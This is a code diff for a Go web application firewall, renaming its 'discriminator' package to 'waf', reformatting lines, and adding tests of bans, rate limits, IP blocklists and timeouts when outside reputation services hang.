+			name:    "a ban",
+			prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
+		},
+		{
+			name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
+			prepare: countClient, status: forbidden,
+			action: requestlog.ActionClientIsRateLimited,
+		},
+		{
+			name:    "the rate limits, with a biased threshold",
+			env:     map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
+			prepare: countClient, status: forbidden,
+			action: requestlog.ActionClientIsRateLimited,
+		},
+		{
+			name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
+			prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
+		},
+		{
+			name:    "the CrowdSec decision list",
+			env:     map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
+			prepare: decideOnClient, status: forbidden,
+			action: requestlog.ActionTemporarilyBanned,
+		},
+		{
+			name: "the header limits", cookie: cookies(cookieLimit + 1),
+			prepare: leaveAsItIs, status: tooLarge,
+			action: requestlog.ActionRequestHeaderTooLarge,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
+			// says, so that a request that does not wait takes no time at all.
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(
+					t,
+					server,
+					func(req *http.Request) {
+						req.Header.Set(cookieHeader, tc.cookie)
+					},
+				)
+
+				if status != tc.status || took != 0 {
+					t.Errorf(
+						"answered %d after %s, want %d at once; output:\n%s",
+						status,
+						took,
+						tc.status,
+						out.text(),
+					)
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+
+				// GeoJS's request is abandoned before the bubble ends.
+				time.Sleep(defaultLookupWait)
+			})
+		})
+	}
+}
+
+func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *waf.Server, now time.Time)
+		status  int
+		action  string
+	}{
+		{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
+		{
+			"a country list needs the answer", map[string]string{allowedCountries: "DE"},
+			leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
+		},
+		{
+			"a blocklist that only logs",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
+			"a blocklist that only limits",
+			map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
+			listClient, http.StatusOK, requestlog.ActionForward,
+		},
+		{
+			"over a rate limit on an exempt path",
+			map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
+			countClient, http.StatusOK, requestlog.ActionForward,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			synctest.Test(t, func(t *testing.T) {
+				server, out := newWAFInBubble(t, tc.env)
+				tc.prepare(t, server, time.Now())
+
+				status, took := askDirectly(
+					t,
+					server,
+					func(*http.Request) {},
+				)
+
+				if status != tc.status || took != defaultLookupWait {
+					t.Errorf(
+						"answered %d after %s, want %d after %s; output:\n%s",
+						status,
+						took,
+						tc.status,
+						defaultLookupWait,
+						out.text(),
+					)
+				}
+
+				wantLine(t, out.requestLine(t), tc.status, tc.action)
+			})
+		})
+	}
+}
+
+func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	// The lists' stand-in: one for GeoJS that answers nothing.
+	held, _, _ := startHeldGeoJS(t)
+	resolver, releaseResolver := startHeldResolver(t)
+
+	server, out, _ := newWAFWith(t, func(
+		params waf.Params,
+	) *waf.Server {
+		params.AbuseIPDBURL = silentAbuseIPDBURL
+
+		return waf.New(params)
+	}, silentGeoJSURL, time.Now, map[string]string{
+		tagDeny: "country=KP", wafMode: block,
+		dnsblZones: dnsblZone, dnsblResolver: resolver,
+		abuseIPDBKey:  accountKey,
+		blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
+		crowdSecURL: held, crowdSecKey: bouncerKey,
+	})
+
+	// The lists are fetched outside the synctest bubble below: a wait on the
+	// network inside it would keep its clock from moving on.
+	go server.Lists.Run(t.Context())
+
+	// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
+	// answer takes exactly as long as waf waits, however busy the host is.
+	// GeoJS and AbuseIPDB never answer there, without the network. The query to
+	// the DNS blocklist waits on the network, which stops the bubble's clock,
+	// but it starts only after the wait for GeoJS.
+	synctest.Test(t, func(t *testing.T) {
+		// AbuseIPDB is asked only about a client with an offence.
+		group := netip.MustParsePrefix(client + "/32")
+		server.Limiter.AddToHistory(
+			group,
+			time.Now(),
+			ratelimit.Request{Attack: true},
+		)
+
+		status, took := askDirectly(t, server, func(req *http.Request) {
+			req.Header.Set("User-Agent", "test")
+			req.Header.Set("Accept", "*/*")
+			req.Host = siteA
+		})
+
+		// The wait for GeoJS decides when the answer comes.
+		if status != http.StatusOK || took != defaultLookupWait ||
+			took >= answerTimeLimit {
+			t.Errorf(
+				"answered %d after %s, want %d after %s, within %s; output:\n%s",
+				status,
+				took,
+				http.StatusOK,
+				defaultLookupWait,
+				answerTimeLimit,
+				out.text(),
+			)
+		}
+
+		// Each outside source was asked, and none has answered. GeoJS is asked
+		// only about the clients waiting for it, here client alone.
+		if requests := testutil.ToFloat64(server.Metrics.GeoJSRequests); requests != 1 {
+			t.Errorf("%v requests to GeoJS, want 1", requests)
+		}
+
+		// The resolver holds the query until it is released below, so a waf
+		// that waited for the query would answer only once it had failed.
+		queries, failures := server.DNSBL.Queries(
+			dnsblZone,
+		), server.DNSBL.Failures(
+			dnsblZone,
+		)
+		if queries != 1 || failures != 0 {
+			t.Errorf(
+				"%d queries to the DNS blocklist, %d failed, want 1, none failed",
+				queries,
+				failures,
+			)
+		}
+
+		if checked := server.AbuseIPDB.Checked(); checked != 1 {
+			t.Errorf("%d checks with AbuseIPDB, want 1", checked)
+		}
+
+		// The query is answered, and the check with AbuseIPDB abandoned,
+		// before the bubble ends.
+		releaseResolver()
+		time.Sleep(defaultReputationWait)
+	})
+}
+
+// How the stand-in for the resolver reads a query and makes it its reply.
+const (
+	// maxQueryLength is the longest query it reads.
+	maxQueryLength = 512
+	// flagsAt is where a DNS message's flags start, after its id.
+	flagsAt = 2
+	// noSuchNameFlags mark a reply, to a query that asked for recursion,
+	// which is available, that no such name exists.
+	noSuchNameFlags = 0x8183
+)
+
+// startHeldResolver starts a stand-in for the resolver the DNSBL zones are
+// asked through, and returns its address and release. Each query waits until
+// release is called, and is then answered that no such name exists, so that
+// the zone does not list the client.
+func startHeldResolver(t *testing.T) (string, func()) {
+	t.Helper()
+
+	conn, err := (&net.ListenConfig{}).ListenPacket(
+		t.Context(),
+		"udp",
+		localhost+":0",
+	)
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	t.Cleanup(func() { _ = conn.Close() })
+
+	var (
+		released = make(chan struct{})
+		once     sync.Once
+	)
+
+	go func() {
+		query := make([]byte, maxQueryLength)
+
+		for {
+			n, from, err := conn.ReadFrom(query)
+			if err != nil {
+				return // conn is closed
+			}
+
+			<-released
+
+			// The query back, with the flags of the reply in place of its own.
+			reply := slices.Clone(query[:n])
+			binary.BigEndian.PutUint16(reply[flagsAt:], noSuchNameFlags)
+
+			_, _ = conn.WriteTo(reply, from)
+		}
+	}()
+
+	release := func() { once.Do(func() { close(released) }) }
+	// Run before conn is closed, so that no query is left waiting.
+	t.Cleanup(release)
+
+	return conn.LocalAddr().String(), release
+}

internal/waf/bans.go

@@ -1,4 +1,4 @@
-package discriminator
+package waf
 
 // The heuristic active_ban, and the code that makes bans, which several
 // heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
@@ -29,7 +29,11 @@ type activeBan struct{}
 
 func (activeBan) name() string { return "active_ban" }
 
-func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
+func (activeBan) check(
+	_ context.Context,
+	rq *request,
+	now time.Time,
+) *verdict {
 	check := rq.h.ledger.Check
 	if rq.h.config.Observe {
 		check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -101,7 +105,11 @@ func (rq *request) countedBytes() int64 {
 // the client's counters back to zero. In observe mode it makes no ban and
 // sets nothing back, and raises the alert for the ban it would have made,
 // if that alert would be sent.
-func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
+func (rq *request) banForLimit(
+	now time.Time,
+	hit ratelimit.Hit,
+	status int,
+) {
 	switch hit.Kind {
 	case ratelimit.KindBytes:
 		rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
@@ -115,7 +123,8 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 	rq.h.metrics.LimitHit(hit)
 
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
+	if rq.h.config.Observe &&
+		!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
 		return
 	}
 
@@ -164,8 +173,11 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
 // alert would be sent. It returns the action for that ban.
 func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
-		return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
+	if rq.h.config.Observe &&
+		!rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
+		return banAction(
+			rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
+		)
 	}
 
 	notes.ASN = rq.line.ASN
@@ -198,10 +210,16 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
 // CrowdSec's decision on the client, ends. In observe mode it makes no
 // ban, and raises the alert for the ban it would have made, if that alert
 // would be sent. It returns the action for that ban.
-func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
+func (rq *request) banForCrowdSec(
+	now time.Time,
+	decision reputation.Decision,
+) string {
 	netblock := rq.h.netblock(rq.client)
-	if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
-		return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
+	if rq.h.config.Observe &&
+		!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
+		return banAction(
+			rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
+		)
 	}
 
 	notes := bans.Notes{
@@ -214,8 +232,13 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
 	}
 
 	if rq.h.config.Observe {
-		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
-			decision.Scenario, notes)
+		ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
+			netblock,
+			now,
+			decision.Expires,
+			decision.Scenario,
+			notes,
+		)
 		if wouldBan {
 			rq.alertBan(ban)
 		}

internal/waf/bans_test.go

@@ -1,4 +1,4 @@
-package discriminator_test
+package waf_test
 
 import (
 	"bufio"
@@ -15,8 +15,8 @@ import (
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 const (
@@ -33,29 +33,52 @@ const (
 func TestBrokenLimitBansTheClient(t *testing.T) {
 	t.Parallel()
 
-	s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
+	s, clk, _ := startWithClock(
+		t,
+		"",
+		map[string]string{rateLimitPerMinute: "1"},
+	)
 	expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
 
 	// The request over the limit of one a minute is refused, and bans the
 	// client for an hour, the default.
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 
-	line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+	line := s.get(
+		client,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 	if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
 		line.BanExpires != expires {
-		t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
-			"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
-			expires)
+		t.Errorf(
+			"log line has limit_hit %q, offence %q and ban_expires %q, "+
+				"want minute, limit and %s",
+			line.LimitHit,
+			line.Offence,
+			line.BanExpires,
+			expires,
+		)
 	}
 
 	// Every request while the ban lasts is refused.
 	clk.advance(time.Hour - time.Second)
 
-	line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
-	if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
-		t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
-			"want %s and neither of the others", line.BanExpires, line.Offence,
-			line.LimitHit, expires)
+	line = s.get(
+		client,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
+	if line.BanExpires != expires || line.Offence != "" ||
+		line.LimitHit != "" {
+		t.Errorf(
+			"log line has ban_expires %q, offence %q and limit_hit %q, "+
+				"want %s and neither of the others",
+			line.BanExpires,
+			line.Offence,
+			line.LimitHit,
+			expires,
+		)
 	}
 
 	// Once it ends, the client is let through.
@@ -78,7 +101,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
 	breakLimit := func() string {
 		s.get(client, http.StatusOK, requestlog.ActionForward)
 
-		line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+		line := s.get(
+			client,
+			http.StatusForbidden,
+			requestlog.ActionClientIsRateLimited,
+		)
 
 		return line.BanExpires
 	}
@@ -119,7 +146,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
 func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 	t.Parallel()
 
-	s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
+	s, clk, server := startWithClock(
+		t,
+		"",
+		map[string]string{rateLimitPerDay: "2"},
+	)
 
 	// The third request in a day is over the limit of two, and bans the
 	// client for an hour.
@@ -128,7 +159,11 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
 	for range 3 {
-		s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+		s.get(
+			client,
+			http.StatusForbidden,
+			requestlog.ActionTemporarilyBanned,
+		)
 	}
 
 	// Later the same day the client has its whole allowance again: the
@@ -141,7 +176,10 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
 
 	banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
 	if len(banned) != 2 || banned[0].Notes.Refused != 3 {
-		t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
+		t.Errorf(
+			"bans %+v, want two, the first with 3 requests refused",
+			banned,
+		)
 	}
 }
 
@@ -192,10 +230,18 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
 			s, _, _ := startWithClock(t, "", env)
 
 			s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
-			s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+			s.get(
+				tc.breaker,
+				http.StatusForbidden,
+				requestlog.ActionClientIsRateLimited,
+			)
 
 			for _, sent := range tc.refused {
-				s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+				s.get(
+					sent,
+					http.StatusForbidden,
+					requestlog.ActionTemporarilyBanned,
+				)
 			}
 
 			for _, sent := range tc.let {
@@ -220,7 +266,11 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
 	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
 	s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
-	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	line := s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 	if line.Country != "" {
 		t.Errorf("log line has country %q, want none", line.Country)
 	}
@@ -241,7 +291,11 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
-	line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	line := s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 	wantHeuristic(t, line, "active_ban",
 		`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
 }
@@ -347,8 +401,12 @@ func TestBanNotes(t *testing.T) {
 	s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 
 	got = ledger.Bans(netblock)
-	if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
+	if len(got) != 2 ||
+		got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
+		t.Errorf(
+			"bans %+v, want two, the second with one earlier ban for a limit",
+			got,
+		)
 	}
 }
 
@@ -364,10 +422,18 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
 	s.get(client, http.StatusOK, requestlog.ActionForward)
 	s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
-	s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+	s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 }
 
 // clock is the time a test sets, by which sww counts requests and
@@ -393,14 +459,14 @@ func (c *clock) advance(d time.Duration) {
 	c.now = c.now.Add(d)
 }
 
-// startWithClock starts discriminator, and rproxy in front of an app that answers 200,
+// startWithClock starts waf, and rproxy in front of an app that answers 200,
 // with the settings in env on top of trusting localhost's
 // X-Forwarded-For, clients' AS numbers and countries looked up at
 // geojsURL, and a clock set to midnight, the start of a bucket in every
 // window.
 func startWithClock(
 	t *testing.T, geojsURL string, env map[string]string,
-) (*sender, *clock, *discriminator.Server) {
+) (*sender, *clock, *waf.Server) {
 	t.Helper()
 
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
@@ -408,22 +474,33 @@ func startWithClock(
 	settings := map[string]string{trustedProxies: trustLocalhost}
 	maps.Copy(settings, env)
 
-	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
+	addr, out, server := startProxyWithClock(
+		t,
+		app.URL,
+		geojsURL,
+		clk.Now,
+		settings,
+	)
 
-	return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
+	return &sender{
+		t:       t,
+		addr:    addr,
+		wafAddr: server.Addr,
+		out:     out,
+	}, clk, server
 }
 
 // sender sends requests to rproxy one after another, each on a connection of its
-// own, and checks each one's answer and log line. discriminatorAddr is where
-// discriminator's own endpoints are, which ownEndpointRequest asks. Every request
-// discriminator gets must come through the sender, since the log lines are
+// own, and checks each one's answer and log line. wafAddr is where
+// waf's own endpoints are, which ownEndpointRequest asks. Every request
+// waf gets must come through the sender, since the log lines are
 // matched to them in order.
 type sender struct {
-	t                 *testing.T
-	addr              string
-	discriminatorAddr string
-	out               *output
-	sent              int
+	t       *testing.T
+	addr    string
+	wafAddr string
+	out     *output
+	sent    int
 }
 
 // get sends a GET request for / from the client at from.
@@ -437,7 +514,11 @@ func (s *sender) get(from string, status int, action string) logLine {
 // X-Forwarded-For names it, and checks that its answer and its log line
 // have status, 0 for the connection closed without an answer, and that
 // the line has action. It returns the log line.
-func (s *sender) request(from, path string, status int, action string) logLine {
+func (s *sender) request(
+	from, path string,
+	status int,
+	action string,
+) logLine {
 	s.t.Helper()
 
 	return s.requestWithHeader(from, path, "", status, action)
@@ -450,7 +531,15 @@ func (s *sender) requestWithHeader(
 ) logLine {
 	s.t.Helper()
 
-	line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
+	line, _ := s.requestWithBody(
+		http.MethodGet,
+		from,
+		path,
+		header,
+		"",
+		status,
+		action,
+	)
 
 	return line
 }

internal/waf/biased.go

@@ -1,4 +1,4 @@
-package discriminator
+package waf
 
 import (
 	"sneak.berlin/go/smallwebwaf/internal/config"
@@ -22,8 +22,10 @@ type percentage struct {
 // below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
 // then needed before its request goes on.
 func biasedThresholdsSet(cfg *config.Config) bool {
-	return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
-		cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
+	return len(cfg.ASNBytesPercent) > 0 ||
+		len(cfg.CountryBytesPercent) > 0 ||
+		cfg.UnknownLimitPercent < whole ||
+		cfg.ASNLimitPercentURL != ""
 }
 
 // limitPercentages returns the client's limit percentages, for the rate
@@ -48,7 +50,10 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 
 	unknown := percentage{percent: whole}
 	if country == "" && !rq.skippedLookupWait {
-		unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
+		unknown = percentage{
+			cfg.UnknownLimitPercent,
+			"SWW_UNKNOWN_LIMIT_PERCENT",
+		}
 	}
 
 	fetched := percentage{percent: whole}
@@ -58,24 +63,41 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 
 	blocklisted := percentage{percent: whole}
 	if rq.blocklisted && cfg.BlocklistAction == "limit" {
-		blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
+		blocklisted = percentage{
+			cfg.BlocklistLimitPercent,
+			"SWW_BLOCKLIST_ACTION",
+		}
 	}
 
 	reputationListed := percentage{percent: whole}
-	if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
-		reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
+	if (rq.dnsblListed || rq.abuseIPDBHit) &&
+		cfg.ReputationAction == "limit" {
+		reputationListed = percentage{
+			cfg.ReputationLimitPercent,
+			"SWW_REPUTATION_ACTION",
+		}
 	}
 
 	const tagSetting = "SWW_TAG_LIMIT_PERCENT"
 
-	asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
-	countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
+	asnRequests := lowest(
+		given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
+		fetched,
+	)
+	countryRequests := given(
+		cfg.TagLimitPercent,
+		countryTag(country),
+		tagSetting,
+	)
 
 	otherTags := percentage{percent: whole}
 
 	for _, tag := range rq.line.Tags {
 		if tag != asnTag(asn) && tag != countryTag(country) {
-			otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
+			otherTags = lowest(
+				otherTags,
+				given(cfg.TagLimitPercent, tag, tagSetting),
+			)
 		}
 	}
 
@@ -85,12 +107,18 @@ func (rq *request) limitPercentages() (percentage, percentage) {
 	}
 
 	if _, listed := cfg.CountryBytesPercent[country]; listed {
-		countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
+		countryBytes = given(
+			cfg.CountryBytesPercent,
+			country,
+			"SWW_COUNTRY_BYTES_PERCENT",
+		)
 	}
 
-	return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
-			reputationListed),
-		lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
+	// The limits that lower requests and bytes alike.
+	common := lowest(otherTags, unknown, blocklisted, reputationListed)
+
+	return lowest(asnRequests, countryRequests, common),
+		lowest(asnBytes, countryBytes, common)
 }
 
 // given returns the percentage percents, the setting named setting, gives